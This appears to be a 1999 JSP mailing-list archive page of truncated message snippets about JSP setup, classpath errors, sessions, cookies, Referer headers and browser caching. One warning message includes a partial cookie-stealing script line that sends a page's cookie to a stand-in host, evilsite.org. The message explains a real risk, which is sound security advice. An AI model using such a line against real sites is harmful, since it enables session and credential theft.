...look at the JSP 1.0 Beta 1 Features located at /jsp/jspsamp/features.jsp
"... The pageContext and exception objects are not implemented. ..."
Michael
--
Stimm gegen SPAM! - Vote against SPAM!
http://www.politik-digital.de/spam/
==
Dear members,
Has anyone worked with using .jsp concepts displaying parameters on the
developed HTML pages. What I intend to ask is without using
out.println() (i.e.) without embedding HTML tags on the server side of the
Java Code.
Like i would like to have an simple example to see the
> ...look at the JSP 1.0 Beta 1 Features located at /jsp/jspsamp/features.jsp
sorry, it's /jsp/jspsamp10/features.jsp
--
Stimm gegen SPAM! - Vote against SPAM!
http://www.politik-digital.de/spam/
===
To unsubscribe, send em
Hi, anybody out there using JSP (any version) on HP-UX ?
If so, please tell me which JSP-product you are using.
JRun perhaps ? Can't tell from their web site if "Unix"
includes HP-UX.
Best regards
Javier Borrajo
I+D Spain
Reply these 5 Ans. to know how many people are serious about JSP and standout in this
rat race.--->--->-->-->..
Answer in Y/N.
1. Will learning JSP help you increase in your salary?
2. Is JSP better than ASP and keep you in market for 5 years?
3. Is maintenance of JSP site is le
Hello
I saw another JSP FAQ(http://www.esperanto.org.nz/jsp/jspfaq.html),
so I know that lots of organizations offer a JSP implementation.
For example JSP Reference by Sun, GNU JSP by Mr. Vincent Partington.
Could you tell me if any JSP Implementations support Apache, IIS and etc,
please?
Since
Hello.
I've seen the page(http://gnujsp.isquare.com.hk/).
It's very good page to know about web servers
and servlet engines that JSP supports.
Could you tell me if other JSP implementations
can support web servers like GNUJSP, please?
Thank you for your help.
Yuichiro Kubota
Jesus wrote:
>The
Is it possible to create muliple sessions for the same user. If a user
opens two browser windows, both windows share the same session scoped beans.
This leads to pretty bothersome effects when, for instance, the bean
preserves visual state or the user would like two instances of the same
form, or
Can anyone tell me what this means?
Note: Mnsearch_HLR.java uses a deprecated API. Recompile with
"-deprecation" for details.
1 warning
It is printed when I compile certain java-files.
===
To unsubscribe, send email to [E
When upgrading to a higher JDK version, like from jdk1.1.7 to JDK 1.2, Sun
might have changed some of the API included in the JDKs. The changes are
usually renaming method, changing parameters of existing methods or even
canceling the method completely. Each change method which does not exist
anym
I'm not very awared of using external classes in
JSP. It might be a trivial question, but how could I load packaged classes in my
pages ? The only way I found until now is to had my package classes directly in
the server's jar archive (/lib/jrun.jar in my case). And then I'm able to import
In the
server, JRun from my experience, there is a parameter setting for the classpath.
This is in the JRunAdmin under the General tab and under the Java tab there.
Just add the jat with the full path into the classpath and it will be able to
load any class from there. You can change the cl
Thanks to all of you who responded, but I still can not get to the original
page URL!!!
I tried both HttpUtils.getRequestURL() and req.getRequestURI() from the
servlet and BOTH of them just return the URL for the servlet NOT the page
that the servlet was called from.
Here is an example of what I
In HTTP terms, you are asking for the "referer" page -- the one that contained
a link that pointed at the current servlet. To retrieve that, just say:
String referer = req.getHeader("Referer");
and it will be there. This will return NULL, however, if someone had
bookmarked the servlet URL
Hi,
I need help about the following problem:
I used the cookies to manage a protected web site, then a cookie stores the status of
a user,
i.e. login and password.
I used Apache Web Server and Apache Jserv as a Servlet engine.
Under Netscape 4.6 it's ok.
Under IE 5, it's ok only from my computer(
I have JWS 2.0 beta2 running on Linux at home. I'll post the patch file on the list
when I get home.
cc
Eric Badger wrote:
>Part 1.1Type: Plain Text (text/plain)
>Encoding: quoted-printable
===
To uns
Hi everyone,
This letter is kind of similar to a previous one I sent, but I haven't
been able to make it work yet despite the replies I got... I'm trying to
develop pages that can keep session-scoped beans without using cookies.
I've understood that I need to use encodeURL, but I haven't been abl
Hi, sorry to bothering you for the third time, but i
really need help
I've installed apache 1.3.6 on win98 and jserv (so also
jsdk2.0).
most of this is working but
when i go to the page
http://127.0.0.1:80/status/jserv/
i see this page (
http://sequ.jetsoftware.com:3080/jsp/page1.html
)
on this
"Beheshti, Reza" wrote:
>
> Thanks to all of you who responded, but I still can not get to the original
> page URL!!!
> I tried both HttpUtils.getRequestURL() and req.getRequestURI() from the
> servlet and BOTH of them just return the URL for the servlet NOT the page
> that the servlet was called
Hi,
I'm curious to know if PageContext objects are pooled? If so, this pool
resides in JspFactory? The reason I'm asking this is because of its
release() method, which "prepares it for potential reuse by a later
invocation of initialize()" (from the javadoc).
Thanks!
Mun Wai
===
Using cookies for security can be quite dangerous, as JavaScript
subverts the protection you were likely expecting. In particular,
if it's possible for users to put content anywhere on your site,
they can have the contents of the cookie sent to them:
http://evilsite.org/cookieReader?" + Docu
Title: RE: How do you send them back to where they came from?
You can do this in JavaScript. Add the following code to your JSP file after all your server-side processing is done:
if (document.referrer)
{
locat
Thibaut Colar wrote:
> Hi, sorry to bothering you for the third time, but i really need
> helpI've installed apache 1.3.6 on win98 and jserv (so also
> jsdk2.0).most of this is working butwhen i go to the page
> http://127.0.0.1:80/status/jserv/ i see this page (
> http://sequ.jetsoftware.com:3
I'm working on a JSP shopping cart implementation, and am having a problem
getting a desired behavior. Here's what happens with my shopping cart:
-- my cart --
(1) User is viewing the cart,
(2) User changes the quantity of item(s) in the cart via a form
(METHOD=post), and submits.
(3) Quantity is
Which application server are you using?
-Original Message-
From: Vincent Roderick [mailto:[EMAIL PROTECTED]]
Sent: Monday, June 07, 1999 12:54 PM
To: [EMAIL PROTECTED]
Subject: Re: not html
What version of the implementation are you running, what platform, and what
JDK version do you h
I would also be interested in an answer for this. Internet Explorer (IE)
4.01 experiences the same problem when the "Back" button is pressed in a
Shipment Tracking application. If someone has a solution, definitely post
it to the group as I assume many other Java Servlet-based applications
exper
I installed JSP and now my car won't start.
Any ideas?
-tg
===
To unsubscribe, send email to [EMAIL PROTECTED] and include in the body
of the message "signoff JSP-INTEREST". For general help, send email to
[EMAIL PROTECTED
I have installed jsp1.0, started the server and run the servlet samples
run fine, but the all of the jsp samples return a runtime exception as
follows:
java.lang.NoClassDefFoundError: sun/tools/javac/Main
at com.sun.jsp.compiler.Main.compile(Main.java:194)
at com.sun.jsp.run
I know why, now your car needs Jump Start Protocol everytime, good luck!
On Thu, 10 Jun 1999, Taylor Gautier wrote:
> I installed JSP and now my car won't start.
>
> Any ideas?
>
> -tg
>
> ===
> To unsubscribe, send email t
As far as I can tell, this is a "design decision" on Microsoft's part. My
guess is that they felt that POSTing a form is usually done for some sort of
submission of data, for security reasons, you shouldn't be able cache the
results of a POST. (For example, you're on a public terminal, and you P
You should check the air in your tires!
Taylor Gautier wrote:
>
> I installed JSP and now my car won't start.
>
> Any ideas?
>
> -tg
>
> ===
> To unsubscribe, send email to [EMAIL PROTECTED] and include in the body
> of the m
JSPers,
We are very, very sorry for the difficulty in ease-of-use in this
release of JSP. The team is closely monitoring the list and will be
fixing the problems as quickly as possible. Please stay tuned and we'll
have something to you shortly after JavaOne.
Thanks for the support this group has
> Anyways, my advice still stands - use GET if you can.
Unfortunately, GET is not appropriate all the time. In the case of a
shopping cart application, using get would cause the form to be re-executed
automatically, which defeats the purpose (see my original post). Somehow,
amazon is managing to
Your car probably has a microsoft runtime engine, try switching to a Sun engine, like
hot spot or something...
- Original Message -
From: Taylor Gautier <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, June 10, 1999 8:02 PM
Subject: Car won't start after installing JSP...
So if the same problem shows up on multiple browsers, multiple servers, and
GET/POST is irrelevant, let's revist the possibility of HTTP headers.
A page can be set to expire by one of 2 methods. Set an HTTP header or use
a META tag in the HTML. The same methods can also be used to say that a
pa
Use req.getHeader("REFERER") where req is the HttpRequest.
>
> "Beheshti, Reza" wrote:
>
> Thanks to all of you who responded, but I still can not get to the
original
> page URL!!! I tried both HttpUtils.getRequestURL() and req.getRequestURI()
from the
> servlet and BOTH of them just return the U
What I can't figure out is why it isn't consistent. It appears to work
fine on my machine and then the page expires on someone elses. This is the
reason that I proginally thought it may have been a setting in the browser,
but I have still had no luck upon experimentation with the settings in IE
Try Putting the tools.jar in your CLASSPATH
akg
> So if the same problem shows up on multiple browsers, multiple
> servers, and
> GET/POST is irrelevant, let's revist the possibility of HTTP headers.
>
> A page can be set to expire by one of 2 methods. Set an HTTP
> header or use
> a META tag in the HTML. The same methods can also be used to
Some ideas that might be useful.
1. Use POST but then do a redirect.
You post to a page that updates the state (say add something to the basket)
and then redirect to a page which display the new state (contents of the
basket). This way the user can hit reload and it doesn't reapply the post.
Th
Can you call a servlet or jsp from within a applet?
Or should one just connect back to the server using a Socket connection.
Thanks
Alexis Bose
===
To unsubscribe, send email to [EMAIL PROTECTED] and include in the body
o
The only possible way that I see is the same way one would call a
servlet/jsp from within an applett using the http (hyper text transfer
protocol). There are tons of programs which to similiar things (such as Tik
, a TCL script which querries different news sites to gather news headers).
This wa
A code fragment that might help you is below:
(where applet parameter icodeURL is something like
http://yourserver/servlet/servletname and you import java.net and java.io)
boolean getInformixAC() {
URL icodeURL = null;
times=1;
Notes.setText("" );
I had the same problem.. I found though a quick fix.. I have put on all .jsp
pages '//' as a start of a line... Not only the car works, but it compiles
50 times better. I found this solution vastly outperform any
ASP/php2/pl/tcl/python solution.
Also I found that if you rename all .jsp to .html y
The original "problem" was that the user set a quantity and did a POST. The
user-visible result of the POST was evidently to redisplay the same page.
Then the user changed a quantity and instead of hitting the submit button
again, hit the back button. After going through the awkward but irrelevant
I am using the sun reference implementation of JSP 1.0
I have the following JSP Files: "JSPExample.jsp" and "ToDoListTable.jsp".
The problem is that the
does not invoke a "nested" JSP file and as such be processed as a JSP
servlet. It seems to be only looking for plain servlets (i.e. no JSP
pro
Elliot Rusty Harold has a fabulous book on Java network programming. I
shows examples of how to do this.
You can do something like applet.getAppletContext.showDocument(url) to
replace the current page with something else.
If you want the current page to remain, but go get info from the server a
GET does not have a body ( all the data has to be send in the URL)
POST has a body which contains the data in URL-encoded format.
GET appends the form variables string to URL using (?)
POST send the form string data as request body (check HTTP protocol spec)
its easy to test web application if y
Instead of , try using <%@ include file="file"
%>. I think that's the one to include pages with code in them.
-jh
- Original Message -
From: Lawrence Turcotte <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, June 10, 1999 5:07 PM
Subject: QUESTION:Does the JSP:REQUEST directiv
> 1. Use POST but then do a redirect.
>
> You post to a page that updates the state (say add something
> to the basket)
> and then redirect to a page which display the new state
> (contents of the
> basket). This way the user can hit reload and it doesn't
> reapply the post.
> This still doesn't
Is it possible to create functions or sunroutines in JSP(like an ASP
'sub')? If so, can somebody please point me in the right direction of how?
TIIA
===
To unsubscribe, send email to [EMAIL PROTECTED] and include in the bod
Search the MSDN Library for any of the following strings:
Expires
ExpiresAbsolute
HTTP-EQUIV
META
Here's an example of how to set it in HTML. Put the META tag inside the
HEAD tag.
Here's an example of how to set it in HTTP, along with 2 other headers.
This is from an embedded web server I bu
> Bob Foster wrote:
> The original "problem" was that the user set a quantity and did a
> POST. The
> user-visible result of the POST was evidently to redisplay the same page.
> Then the user changed a quantity and instead of hitting the submit button
> again, hit the back button.
Not exactly --
>From what I've read so far, it looks like this:
<%
function Hello()
{
alert('Hello, world!');
}
%>
Ed
Livin' La Vida Loca
> -Original Message-
> From: Pel I. Kan [mailto:[EMAIL PROTECTED]]
> Sent: Thursday, June 10, 1999 07:01 PM
> To: [EMAIL PROTECTED]
> Subject
You need tools.jar from jdk1.2\lib in your classpath.it's used to
compile the servlet resulting from the jsp.
--
dIon Gillard, Multitask Consulting
Work: http://www.multitask.com.au
Play:http://www.trongus.com
I have installed jsp1.0, started the server and run the servlet samp
hi -
not really sure how craig found out about this push before i did ...
oh well, i'm just glad it's finally out there. sorry about the delay.
this release should take care of the "running on jdk1.1.x/windows
throws a 404" problem several folks have bumped into.
feel free t
This also we tried here with IBM Websphere all thw formats for include file.
it is not working. we are not able to call another .jsp file from the
initial one.
I am too surprised which is the very basic thing in .html.
could anyone help in this regard , how to call second.jsp page from
first
The docs say:
Does this help?
Ed
Livin' La Vida Loca
> -Original Message-
> From: Raghuraman Sridharan [mailto:[EMAIL PROTECTED]]
> Sent: Thursday, June 10, 1999 11:00 PM
> To: [EMAIL PROTECTED]
> Subject: Re: QUESTION:Does the JSP:REQUEST directive work for
> JSP files
> or onl ys
page 41 of Java Servlet Programming (Jason Hunter)
Ralph Eddy
415-383-4924
fax) 415-383-6560
mailto:[EMAIL PROTECTED]
> -Original Message-
> From: A mailing list about Java Server Pages specification
> and reference
> [mailto:[EMAIL PROTECTED]]On Behalf Of Jayme Hafen
> Sent: Thursday,
Hai Reza,
Try Using
request.getHeader("Referer")
Hope this helps , let me know if u have any problems.
Mahesh
-Original Message-
From: Beheshti, Reza <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Date: Thursday, June 10, 1999 8:14 PM
Subject: FW: How do you send t
include tools.jar ( jdk1.2\lib\tools.jar) in u r classpath .
Hope this Helps U.
MY
-Original Message-
From: Robert J Walker <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Date: Friday, June 11, 1999 12:18 AM
Subject: runtime exception question
>
>
>Note: Some recipient
NO, it doesn't help with our WebSphere 2.0
Thanks ANy more help on this.
Raghuraman
> --
> From: Jenkins, Ed[SMTP:[EMAIL PROTECTED]]
> Reply To: Jenkins, Ed
> Sent: Friday, June 11, 1999 8:42 AM
> To: [EMAIL PROTECTED]
> Subject: Re: QUESTION:Does the JSP:REQUES
62 matches
Mail list logo